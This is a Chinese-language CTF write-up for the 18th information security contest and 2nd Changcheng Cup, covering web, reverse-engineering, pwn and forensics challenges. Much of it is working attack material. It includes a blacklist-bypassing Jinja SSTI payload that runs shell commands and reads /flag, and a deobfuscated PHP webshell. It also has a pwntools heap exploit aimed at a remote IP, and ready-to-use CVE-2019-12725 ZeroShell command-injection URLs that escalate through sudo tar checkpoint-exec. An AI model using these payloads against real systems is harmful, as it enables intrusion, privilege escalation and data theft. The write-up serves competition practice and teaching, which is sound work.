第十八届信息安全大赛 && 第二届长城杯

admin 2024年12月18日13:24:56评论22 views字数 17375阅读57分55秒阅读模式

前言

本文首发于先知社区: https://xz.aliyun.com/t/16759

web部分wp

Safe_Proxy

开始就可以看到源码

自己本地搭建一个,并修改下代码,让他变成可以看到回显的ssti,先绕过黑名单再说

from flask import Flask, request, render_template_string  
import socket  
import threading  
import html  

app = Flask(__name__)  


@app.route('/', methods=["GET"])  
defsource():
with open(__file__, 'r', encoding='utf-8') as f:  
return'<pre>' + html.escape(f.read()) + '</pre>'


@app.route('/', methods=["POST"])  
deftemplate():
    template_code = request.form.get("code")  
# 安全过滤  
    blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', 'r', 'n']  
for black in blacklist:  
if black in template_code:  
return"Forbidden content detected!"
    result = render_template_string(template_code)  
    print(result)  
returnf'{result}'if result isnotNoneelse'error'#这里换了,本来返回ok的,为了方便测试和写题直接换成返回值了,这样就有回显了  


classHTTPProxyHandler:
def__init__(self, target_host, target_port):
        self.target_host = target_host  
        self.target_port = target_port  

defhandle_request(self, client_socket):
try:  
            request_data = b""
whileTrue:  
                chunk = client_socket.recv(4096)  
                request_data += chunk  
if len(chunk) < 4096:  
break

ifnot request_data:  
                client_socket.close()  
return

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:  
                proxy_socket.connect((self.target_host, self.target_port))  
                proxy_socket.sendall(request_data)  

                response_data = b""
whileTrue:  
                    chunk = proxy_socket.recv(4096)  
ifnot chunk:  
break
                    response_data += chunk  

            header_end = response_data.rfind(b"rnrn")  
if header_end != -1:  
                body = response_data[header_end + 4:]  
else:  
                body = response_data  

            response_body = body  
            response = b"HTTP/1.1 200 OKrn"
b"Content-Length: " + str(len(response_body)).encode() + b"rn"
b"Content-Type: text/html; charset=utf-8rn"
b"rn" + response_body  

            client_socket.sendall(response)  
except Exception as e:  
            print(f"Proxy Error: {e}")  
finally:  
            client_socket.close()  


defstart_proxy_server(host, port, target_host, target_port):
    proxy_handler = HTTPProxyHandler(target_host, target_port)  
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
    server_socket.bind((host, port))  
    server_socket.listen(100)  
    print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")  

try:  
whileTrue:  
            client_socket, addr = server_socket.accept()  
            print(f"Connection from {addr}")  
            thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))  
            thread.daemon = True
            thread.start()  
except KeyboardInterrupt:  
        print("Shutting down proxy server...")  
finally:  
        server_socket.close()  


defrun_flask_app():
    app.run(debug=False, host='127.0.0.1', port=5000)  


if __name__ == "__main__":  
    proxy_host = "0.0.0.0"
    proxy_port = 5001
    target_host = "127.0.0.1"
    target_port = 5000

# 安全反代,防止针对响应头的攻击  
    proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))  
    proxy_thread.daemon = True
    proxy_thread.start()  

    print("Starting Flask app...")  
    run_flask_app()

然后直接上fenjing梭哈本地的,就不自己构造了

第十八届信息安全大赛 && 第二届长城杯

得到payload

{%set gl='_'*2+'globals'+'_'*2%}{%set bu='_'*2+'builtins'+'_'*2%}{%set im='_'*2+'i''mport'+'_'*2%}{%set ug='so'[::-1]%}{{((g.pop[gl][bu][im](ug))['p''open']('echo f3n  j1ng;')).read()}}

然后其实本来想反弹shell的,但是弹半天不太行。。。

然后准备写文件,试了1.txt这些也不太行,其实这时候已经没有啥思路了,

但是,突然想到2023CISCN-gosession中go语言的ssti更改了python的app.py,所以app.py是可以更改的,而这个题中app.py可以直接被读取到,所以直接读取到app.py里面去就行了。

{%set gl='_'*2+'globals'+'_'*2%}{%set bu='_'*2+'builtins'+'_'*2%}{%set im='_'*2+'i''mport'+'_'*2%}{%set ug='so'[::-1]%}{{((g.pop[gl][bu][im](ug))['p''open']('ls | tee app.py')).read()}}

就是这个环境就只能用一次,有点难受

第十八届信息安全大赛 && 第二届长城杯
cb4dc0dc7c180816dcf03697a06aaa45.png
{%set gl='_'*2+'globals'+'_'*2%}{%set bu='_'*2+'builtins'+'_'*2%}{%set im='_'*2+'i''mport'+'_'*2%}{%set ug='so'[::-1]%}{{((g.pop[gl][bu][im](ug))['p''open']('cat /flag | tee app.py')).read()}}
第十八届信息安全大赛 && 第二届长城杯
2aad8eef500c53dbed3d328323a97d39_720.png

然后就得到flag了

hello_web

一开始试了蛮久,没找到什么有用信息,但是当访问../../../flag甚至../../../都为当file不输入东西的时候的界面时,可以猜测../是不是被换掉了

尝试双重绕过,成功绕过了

/index.php?file=....//hackme.php

发现源码,

`<?php   highlight_file(__FILE__);   $lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");   $YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};$rVkKjU=$lapUCm{7}.$lapUCm{13};$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));   ?>`

解密题,之前做过,一般就是个一句话木马。

进行解密,一个个排出来,就可以得到密码了

<?php
highlight_file(__FILE__);  
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";  
$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";  
$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");  
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};  
//echo $YwzIst; //base  
$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};  
//echo $OxirhK; //strtr  
//echo "<br>";  
$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};  
//echo $YpAUWC; //substr  
//echo "<br>";  
$rVkKjU=$lapUCm{7}.$lapUCm{13};  
//echo $rVkKjU; //52  
$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};  
//echo $YwzIst; //base64_decode  
//eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));  
$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";  
eval('?>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU))));  

$aaa=base64_decode(strtr(substr("eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==",104),substr("eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==",52,52),substr("eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==",0,52)));  

echo $aaa;  
?>



<!--$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";-->  
<!--eval('?>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU))));-->
<?php
$aaa=base64_decode(strtr(substr("eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==",104),substr("eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==",52,52),substr("eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==",0,52)));  

echo $aaa;  
?>
第十八届信息安全大赛 && 第二届长城杯
ee028391000bb6024f209f4e9fcc6d0b.png

由于是下滑线,在php传入参数中只有碰到无法解析符号的才会被解析为下滑线所以使用[ 进行post传参。蚁剑连接,

第十八届信息安全大赛 && 第二届长城杯
47a231f62ac4acc8cd0306680622e891.png

然后发现没有权限查找东西。。。而且flag不在根目录

本来想提权的,但是到处翻,在/run/log找到flag,就不提权了

第十八届信息安全大赛 && 第二届长城杯
cc38a5f329e2c2f2837540c19c01bab0.png

re部分wp

ezCsky

下载附件发现是一个elf,但是正常的IDA打不开,不支持这个架构的 https://github.com/MotoFanRu/M-CORE_IDA-Pro/tree/master 不过有一个插件,我们把他的dll下载之后放IDA里面就能打开题目给的ELF了,但是只能看汇编,不能查看伪代码

第十八届信息安全大赛 && 第二届长城杯
Pasted image 20241215175657.png

这里是有符号表的,我们可以看见有rc4加密和xor操作 密文在这里第十八届信息安全大赛 && 第二届长城杯

我们可以提出来,剩下要解决的就是异或和RC4的问题了,但是我们可以去主函数看调用的顺序

第十八届信息安全大赛 && 第二届长城杯
Pasted image 20241215180537.png

这里可以看见函数的先后调用顺序分别是check,rc4_init,rc4_crypt,我们先查看check函数

下面是主要的逻辑第十八届信息安全大赛 && 第二届长城杯

其中addi r6,1;和xor r6,r5;分别是下标+1和循环异或

那我们先把RC4解了之后得到密文之后再下标-1异或回来就行了

密钥汇编里面有:lrw     r7,  {$d_13}    // "testkey"

RC4第十八届信息安全大赛 && 第二届长城杯

xor


enc = [0x0a, 0x0d, 0x06, 0x1c, 0x1f, 0x54, 0x56, 0x53, 0x57, 0x51, 0x00, 0x03, 0x1d, 0x14, 0x58, 0x56, 0x03, 0x19, 0x1c, 0x00, 0x54, 0x03, 0x4b, 0x14, 0x58, 0x07, 0x02, 0x49, 0x4c, 0x02, 0x07, 0x01, 0x51, 0x0c, 0x08, 0x00, 0x01, 0x00, 0x03, 0x00, 0x4f, 0x7d]  

str = bytearray(enc)  

for i in range(len(enc) - 1, 0, -1):  

    str[i - 1] ^= str[i]  

flag = bytes(str)  

print(flag)  

# b'flag{d0f5b330-9a74-11ef-9afd-acde48001122}'

dump

下载附件能看见一个flag文件和一个exe,我用010看了一下flag文件发现只是存放密文的东西,最后还是要看exe

进去就是main函数:


int __fastcall main(int argc, constchar **argv, constchar **envp)

{

constchar *v3; // rax

  __int64 v4; // r15

  __int64 v5; // rdi

  _QWORD *v6; // rbx

unsignedint v7; // r13d

int *v8; // r12

unsigned __int8 v9; // si

int v10; // eax

  __int64 v11; // rax

int v12; // ecx

  _QWORD *v13; // rcx

  __int64 v14; // rdx

int v15; // ecx

  _QWORD *v16; // rdx

int v17; // eax

  _DWORD *v18; // rax

int v19; // ecx

  __int64 v20; // rdx

int v21; // ecx

  __int64 v22; // rcx

  _QWORD *v23; // rdx

  __int64 v24; // r14

  __int64 v25; // r12

char *v26; // rsi

  __int64 v27; // r13

char v28; // r15

void *v29; // rcx

char v31[4]; // [rsp+20h] [rbp-49h] BYREF

int v32; // [rsp+24h] [rbp-45h]

int v33[14]; // [rsp+28h] [rbp-41h] BYREF

char v34; // [rsp+60h] [rbp-9h]

  __int64 v35; // [rsp+68h] [rbp-1h]

constchar *v36; // [rsp+70h] [rbp+7h]

char v37[8]; // [rsp+78h] [rbp+Fh] BYREF

void *Block[2]; // [rsp+80h] [rbp+17h] BYREF

  __int64 v39; // [rsp+90h] [rbp+27h]



if ( argc < 2 )

return0;

  v3 = argv[1];

  v36 = v3;

  v4 = -1i64;

do

    ++v4;

while ( v3[v4] );

if ( v4 <= 1 )

return0;

  v33[0] = 0xD9D8DBA7;

  v33[1] = 0xDDDCDFDE;

  v33[2] = 0xD1D0D3D2;

  v33[3] = 0xD5D4D7D6;

  v33[4] = 0xC9C8CBCA;

  v33[5] = 0xCDCCCFCE;

  v33[6] = 0xABC0C3C2;

  v33[7] = 0xF9F8FBA8;

  v33[8] = 0xFDFCFFFE;

  v33[9] = 0xF1F0F3F2;

  v33[10] = 0xF5F4F7F6;

  v33[11] = 0xE9E8EBEA;

  v33[12] = 0xEDECEFEE;

  v33[13] = 0xE1E0E3E2;

  v34 = -25;

  v5 = 0i64;

  v6 = 0i64;

  v7 = 0;

  v8 = v33;

do

  {

    v9 = *v8;

if ( v6 )

    {

if ( *(v6 + 16) == v9 )

goto LABEL_46;

if ( *(v6 + 16) <= v9 )

      {

if ( sub_140001290(v6 + 1, v9, v37) && v37[0] )

        {

          v17 = *(v6 + 5);

if ( v17 != -1 )

          {

if ( !v17 )

            {

              *(v6 + 5) = -1;

              v37[0] = 1;

goto LABEL_47;

            }

if ( v17 != 1 )

goto LABEL_47;

LABEL_33:

            *(v6 + 5) = 0;

goto LABEL_46;

          }

          v18 = v6[1];

          v19 = v18[5];

if ( v19 != -1 )

          {

if ( v19 == 1 )

            {

              v20 = *v18;

              v21 = *(*v18 + 20i64);

if ( v21 == -1 )

              {

                *(v6 + 5) = 0;

                v18[5] = 1;

              }

elseif ( v21 )

              {

if ( v21 == 1 )

                {

                  *(v6 + 5) = 0;

                  v18[5] = -1;

                }

              }

else

              {

                v18[5] = 0;

                *(v6 + 5) = 0;

              }

              *(v20 + 20) = 0;

              v22 = v6[1];

              v23 = *v22;

              *v22 = *(*v22 + 8i64);

              v23[1] = v6[1];

              v6[1] = v23;

              v6[1] = *v23;

              *v23 = v6;

              v6 = v23;

            }

goto LABEL_46;

          }

          v18[5] = 0;

          *(v6 + 5) = 0;

          v13 = v6[1];

          v6[1] = *v13;

          *v13 = v6;

LABEL_45:

          v6 = v13;

goto LABEL_46;

        }

      }

elseif ( sub_140001290(v6, v9, v37) && v37[0] )

      {

        v10 = *(v6 + 5);

if ( v10 == -1 )

goto LABEL_33;

if ( !v10 )

        {

          *(v6 + 5) = 1;

          v37[0] = 1;

goto LABEL_47;

        }

if ( v10 != 1 )

goto LABEL_47;

        v11 = *v6;

        v12 = *(*v6 + 20i64);

if ( v12 == -1 )

        {

          v14 = *(v11 + 8);

          v15 = *(v14 + 20);

if ( v15 == -1 )

          {

            *(v6 + 5) = 0;

            *(v11 + 20) = 1;

          }

elseif ( v15 )

          {

if ( v15 == 1 )

            {

              *(v6 + 5) = -1;

              *(v11 + 20) = 0;

            }

          }

else

          {

            *(v11 + 20) = 0;

            *(v6 + 5) = 0;

          }

          *(v14 + 20) = 0;

          v16 = *(*v6 + 8i64);

          *(*v6 + 8i64) = *v16;

          *v16 = *v6;

          *v6 = v16;

          *v6 = v16[1];

          v16[1] = v6;

          v6 = v16;

goto LABEL_46;

        }

if ( v12 != 1 )

        {

LABEL_46:

          v37[0] = 0;

goto LABEL_47;

        }

        *(v11 + 20) = 0;

        *(v6 + 5) = 0;

        v13 = *v6;

        *v6 = *(*v6 + 8i64);

        v13[1] = v6;

goto LABEL_45;

      }

    }

else

    {

      v6 = operatornew(0x20ui64);

      *(v6 + 17) = 0;

      *(v6 + 19) = 0;

      *(v6 + 7) = 0;

      *(v6 + 16) = v9;

      *(v6 + 5) = 0;

      *v6 = 0i64;

      v6[1] = 0i64;

      *(v6 + 6) = dword_140005078;

      v35 = 0x7B00000000i64;

      v32 = 0;

do

      {

        *(&v35 + v32 + 1) ^= v32 + 122;

        ++v32;

      }

while ( !v32 );

      dword_140005078 += HIDWORD(v35);

      v37[0] = 1;

    }

LABEL_47:

    ++v7;

    v8 = (v8 + 1);

  }

while ( v7 < 0x39 );

  *Block = 0i64;

  v39 = 0i64;

  v24 = 0i64;

  v25 = v4;

  v26 = Block[1];

  v27 = v36;

do

  {

    v28 = sub_140001600(v6, *(v24 + v27));

    v31[0] = v28;

    sub_140001010("%02x");

if ( v26 == v5 )

    {

      sub_140001C80(Block, v26, v31);

      v5 = v39;

      v26 = Block[1];

    }

else

    {

      *v26++ = v28;

      Block[1] = v26;

    }

    ++v24;

  }

while ( v24 < v25 );

if ( v6 )

  {

if ( *(v6 + 6) == 255 )

    {

      sub_140001550(*(v6 + 16));

    }

else

    {

      sub_140001780(*v6);

      sub_140001780(v6[1]);

    }

  }

  v29 = Block[0];

if ( Block[0] )

  {

if ( v5 - Block[0] >= 0x1000 )

    {

      v29 = *(Block[0] - 1);

if ( (Block[0] - v29 - 8) > 0x1F )

        invalid_parameter_noinfo_noreturn();

    }

    j_j_free(v29);

  }

return0;

}

第十八届信息安全大赛 && 第二届长城杯
Pasted image 20241215171811.png

主要的加密逻辑在这里,但是我进去之后也看不太懂,后面看了一下,发现是单字节加密比对,这样我们就可以正向爆破而不是逆向分析了

搓个exp之后跟exe放同目录下跑一遍第十八届信息安全大赛 && 第二届长城杯

交了发现不对,后面题目给了描述发现是第13位有问题爆不出来,并且给了第13位为4,这样就能得到flag了 exp:


import subprocess  

from string import printable  

enc = [  

35, 41, 30, 36, 56,  

14, 21, 32, 55, 14,  

5, 32, 0, 14, 55,  

18, 29, 15, 36, 1, 1, 57

]  

defcrack_flag(enc, start_flag, start_index, total_len):

    flag = start_flag  

for index in range(start_index, total_len):  

for char in printable:  

            result = subprocess.run(['re.exe', flag + char], capture_output=True, text=True)  

            output_hex = [result.stdout[i:i + 2] for i in range(0, len(result.stdout), 2)]  

if int(output_hex[index], 16) == enc[index]:  

                flag += char  

break

        print(f"当前 flag: {flag}")  

return flag  

if __name__ == "__main__":  

    start_flag = 'flag{'

    start_index = 5

    total_length = 22

    final_flag = crack_flag(enc, start_flag, start_index, total_length)  

    print(f"最终 flag: {final_flag}")

pwn部分wp

anote

edit 函数被用于修改堆内存中的数据。利用该函数覆盖堆内存中的地址,最终导致后门函数被执行。

通过ida可以找到

发现后门函数:

第十八届信息安全大赛 && 第二届长城杯

edit还存在溢出漏洞

攻击过程

  • 步骤1:泄露堆地址

  • 步骤2:覆盖堆内存中的函数指针

  • 步骤3:触发后门函数


from pwn import *  



p = remote('47.94.1.14', 26649)  

defsend_choice(choice: int):

    p.sendlineafter(b'Choice>>', str(choice))  

defsend_index(index: int):

    p.sendlineafter(b'index:', str(index))  

defsend_len_and_content(length: int, content: bytes):

    p.sendlineafter(b'len:', str(length))  

    p.sendlineafter(b'content:', content)  

# 选择第1个操作  

send_choice(1)  

send_choice(1)  

send_choice(2)  

send_index(0)  

p.recvuntil(b'0x')  

payload = int(p.recv(7), 16) + 8

# 发送 payload

send_choice(3)  

send_index(0)  

send_len_and_content(32, p32(0x80489CE) * 4)  

# 发送第二个 payload

send_choice(3)  

send_index(-8)  

send_len_and_content(32, p32(payload))  

p.interactive()

流量分析部分wp

zeroshell

zeroshell_1

1、访问数据包,找到如下流量,可知exec命令执行第十八届信息安全大赛 && 第二届长城杯追踪流得到第十八届信息安全大赛 && 第二届长城杯Base64解码可得第十八届信息安全大赛 && 第二届长城杯

zeroshell_2

通过网上查找,发现历史漏洞:ZeroShell防火墙存在远程命令执行漏洞(CVE-2019-12725) 进行利用,使用find命令直接查找flag

http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Afind%20/%20-name%20%22flag%22%0A%27

/DB/_DB.001/flag  c6045425-6e6e-41d0-be09-95682a4f65c4
/Database/flag  c6045425-6e6e-41d0-be09-95682a4f65c4
/DB/_DB.001/flag  
/Database/flag
第十八届信息安全大赛 && 第二届长城杯
image.png
cat /DB/_DB.001/flag
第十八届信息安全大赛 && 第二届长城杯
image.png

zeroshell_3

使用netstat -n -p命令查找外联地址

http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Anetstat -n -p%0A%27

flag{202.115.89.103}
第十八届信息安全大赛 && 第二届长城杯
image.png

zeroshell_4

通过模糊语法,查找url地址:/cgi-bin/kerbynet

http.request.uri matches "/cgi-bin/kerbynet"

发现,攻击者的payload

/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec='ps%20-ef'%0A'

第十八届信息安全大赛 && 第二届长城杯查找进程

http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec=%27netstat -anp%27%0A%27

第十八届信息安全大赛 && 第二届长城杯发现进程号是

10449

查找进程下运行的文件第十八届信息安全大赛 && 第二届长城杯

查找进程10449的exe

http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec=%27ls -al /proc/10449/exe%27%0A%27

第十八届信息安全大赛 && 第二届长城杯发现/tmp/.nginx

flag{.nginx}

zeroshell_5

下载/tmp/.nginx文件

http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec=%27cat%20/tmp/.nginx%27%0A%27

使用xxd进行转换第十八届信息安全大赛 && 第二届长城杯然后直接搜索之前得到的ip:202.115.89.103,得到flag

flag{223344qweasdzxcF}
第十八届信息安全大赛 && 第二届长城杯
image.png

zeroshell_6

根据zeroshell_6,在网站路径/var目录下面全局搜索 .nginx文件

http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec=%27grep -r ".nginx"  /var%27%0A%27

得到文件路径

/var/register/system/startup/scripts/nat/File

flag{/var/register/system/startup/scripts/nat/File}
第十八届信息安全大赛 && 第二届长城杯
image.png

WinFT

WinFT_1

和zeroshell_3一样,使用netstat -n命令查找外联地址,得到ip地址

netstat -n
192.168.116.130:443
第十八届信息安全大赛 && 第二届长城杯
image.png

查找host文件,得到

192.168.116.130 miscsecure.com
192.168.116.130 miscflvol.com

第十八届信息安全大赛 && 第二届长城杯flag为

flag{miscsecure.com:192.168.116.130:443}

WinFT_2

首先思路是正常的应急响应思路,可以参考链接

https://xz.aliyun.com/t/12832

win +R 输入services.msc

到任务计划管理器里面,然后看到base64字符

第十八届信息安全大赛 && 第二届长城杯
e1d8e26e8f490841ea6f9d8036992575_720.png

然后解密得到flag

第十八届信息安全大赛 && 第二届长城杯
e207e3f06d8960d52edcd6591f215c3c.png

sc05

sc05_1

查找 firewall.xlsx文件直接搜索134.6.4.12

2024/11/09_16:23:57

flag{8C43F3A43B366FAD535B747F26D6C6AA}
第十八届信息安全大赛 && 第二届长城杯
image.png

提交发现不对,看到有三个表,对比一下第一个top表的时间才是最短的

2024/11/09_16:22:42

flag{01DF5BC2388E287D4CC8F11EA4D31929}
第十八届信息安全大赛 && 第二届长城杯
image.png

 

原文始发于微信公众号(泷羽Sec-尘宇安全):第十八届信息安全大赛 && 第二届长城杯

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月18日13:24:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   第十八届信息安全大赛 && 第二届长城杯https://cn-sec.com/archives/3521292.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息